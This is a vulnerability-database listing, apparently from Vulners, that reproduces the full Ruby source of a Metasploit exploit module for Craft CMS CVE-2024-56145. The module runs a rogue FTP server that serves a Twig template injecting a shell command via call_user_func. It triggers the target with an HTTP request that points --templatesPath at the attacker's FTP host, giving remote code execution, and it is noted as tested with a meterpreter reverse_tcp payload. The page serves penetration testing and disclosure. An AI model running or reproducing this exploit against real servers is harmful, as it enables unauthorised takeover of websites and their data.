Lucene search
K

Craft CMS Twig Template Injection RCE via FTP Templates Path

🗓️ 24 Jan 2025 18:55:48Reported by jheysel-r7, Valentin Lobstein, AssetNoteType 
metasploit
 metasploit
🔗 www.rapid7.com👁 366 Views

Craft CMS Twig template injection allows arbitrary template loading via FTP, leading to Remote Code Execution.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::FtpServer
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Craft CMS Twig Template Injection RCE via FTP Templates Path',
        'Description' => %q{
          This module exploits a Twig template injection vulnerability in Craft CMS by abusing the --templatesPath argument.
          The vulnerability allows arbitrary template loading via FTP, leading to Remote Code Execution (RCE).
        },
        'Author' => [
          'jheysel-r7',         # Metasploit module
          'Valentin Lobstein',  # Refactor, Fix, and PoC
          'AssetNote'           # Vulnerability discovery
        ],
        'References' => [
          ['CVE', '2024-56145'],
          ['URL', 'https://github.com/Chocapikk/CVE-2024-56145'],
          ['URL', 'https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms']
        ],
        'Payload' => {
          'BadChars' => "\x22\x27" # " and '
        },
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix/Linux Command Shell', {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-12-19',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
  end

  def vulnerable_file_list
    %w[/default/index.twig /default/index.html]
  end

  def get_payload
    "{{ ['system', 'bash -c \"#{payload.encoded}\"'] | sort('call_user_func') }}"
  end

  def send_ftp_response(cli, code, message)
    cli.put "#{code} #{message}\r\n"
    vprint_status("-> #{code} #{message}")
  end

  def on_client_connect(cli)
    @state[cli] = {
      name: "#{cli.peerhost}:#{cli.peerport}",
      ip: cli.peerhost,
      port: cli.peerport,
      user: nil,
      pass: nil,
      cwd: '/'
    }
    send_ftp_response(cli, 220, 'FTP Server Ready')
  end

  def on_client_command_user(cli, arg)
    vprint_status('on_client_command_user')
    if arg.downcase == 'anonymous'
      @state[cli][:user] = 'anonymous'
      send_ftp_response(cli, 331, 'Username ok, send password.')
    else
      send_ftp_response(cli, 530, 'Not logged in.')
    end
  end

  def on_client_command_pass(cli, arg)
    vprint_status('on_client_command_pass')
    if @state[cli][:user] == 'anonymous'
      @state[cli][:pass] = arg
      send_ftp_response(cli, 230, 'Login successful.')
    else
      send_ftp_response(cli, 530, 'Not logged in.')
    end
  end

  def on_client_command_cwd(cli, arg)
    vprint_status('on_client_command_cwd')
    if arg == '/default'
      @state[cli][:cwd] = '/default'
      send_ftp_response(cli, 250, "\"#{@state[cli][:cwd]}\" is current directory.")
    else
      send_ftp_response(cli, 550, 'Not a directory')
    end
  end

  def on_client_command_type(cli, arg)
    vprint_status('on_client_command_type')
    if arg == 'I'
      send_ftp_response(cli, 200, 'Type set to: Binary.')
    else
      send_ftp_response(cli, 500, 'Unknown type.')
    end
  end

  def on_client_command_size(cli, arg)
    vprint_status('on_client_command_size')
    if vulnerable_file_list.include?(arg)
      send_ftp_response(cli, 213, get_payload.length.to_s)
    else
      send_ftp_response(cli, 550, "#{arg} is not retrievable.")
    end
  end

  def on_client_command_mdtm(cli, arg)
    vprint_status('on_client_command_mdtm')
    if vulnerable_file_list.include?(arg)
      send_ftp_response(cli, 213, Time.now.strftime('%Y%m%d%H%M%S'))
    else
      send_ftp_response(cli, 550, "#{arg} is not retrievable.")
    end
  end

  def on_client_command_epsv(cli, _arg)
    vprint_status('on_client_command_epsv')
    send_ftp_response(cli, 502, 'EPSV command not implemented.')
  end

  def on_client_command_retr(cli, arg)
    vprint_status('on_client_command_retr')
    if vulnerable_file_list.include?(arg)
      conn = establish_data_connection(cli)
      unless conn
        send_ftp_response(cli, 425, "Can't open data connection.")
        return
      end
      send_ftp_response(cli, 150, "Opening data connection for #{arg}")
      conn.put(get_payload)
      conn.close
      send_ftp_response(cli, 226, 'Transfer complete.')
    else
      send_ftp_response(cli, 550, 'File not available.')
    end
  rescue IOError => e
    vprint_error("Data transfer failed: #{e.message}")
    send_ftp_response(cli, 425, 'Data transfer failed.')
  end

  def on_client_command_quit(cli, _arg)
    vprint_status('on_client_command_quit')
    send_ftp_response(cli, 221, 'Goodbye.')
  end

  def on_client_command_unknown(cli, cmd, arg)
    vprint_status('on_client_command_unknown')
    send_ftp_response(cli, 500, "'#{cmd} #{arg}': command not understood.")
  end

  def check
    vprint_status('Performing vulnerability check...')
    nonce = Rex::Text.rand_text_alphanumeric(8)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET',
      'vars_get' => { '--configPath' => "/#{nonce}" }
    )

    if res&.body&.include?('mkdir()') && res.body.include?(nonce)
      CheckCode::Vulnerable('The target is vulnerable')
    else
      CheckCode::Safe('The target is not vulnerable')
    end
  end

  def trigger_http_request
    vprint_status('Triggering HTTP request...')
    templates_path = "ftp://#{Rex::Socket.to_authority(srvhost_addr, srvport)}"
    send_request_raw(
      'uri' => normalize_uri(target_uri.path) + "?--templatesPath=#{templates_path}",
      'method' => 'GET'
    )
  rescue StandardError => e
    vprint_error("HTTP request failed: #{e.message}")
  end

  def start_ftp_service
    if datastore['SSL'] == true
      reset_ssl = true
      datastore['SSL'] = false
    end
    start_service
    if reset_ssl
      datastore['SSL'] = true
    end
  end

  def exploit
    vprint_status('Starting FTP service...')
    start_ftp_service
    vprint_status("FTP server started on #{srvhost}:#{datastore['SRVPORT']}")
    vprint_status('Sending HTTP request to trigger the payload...')
    trigger_http_request
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation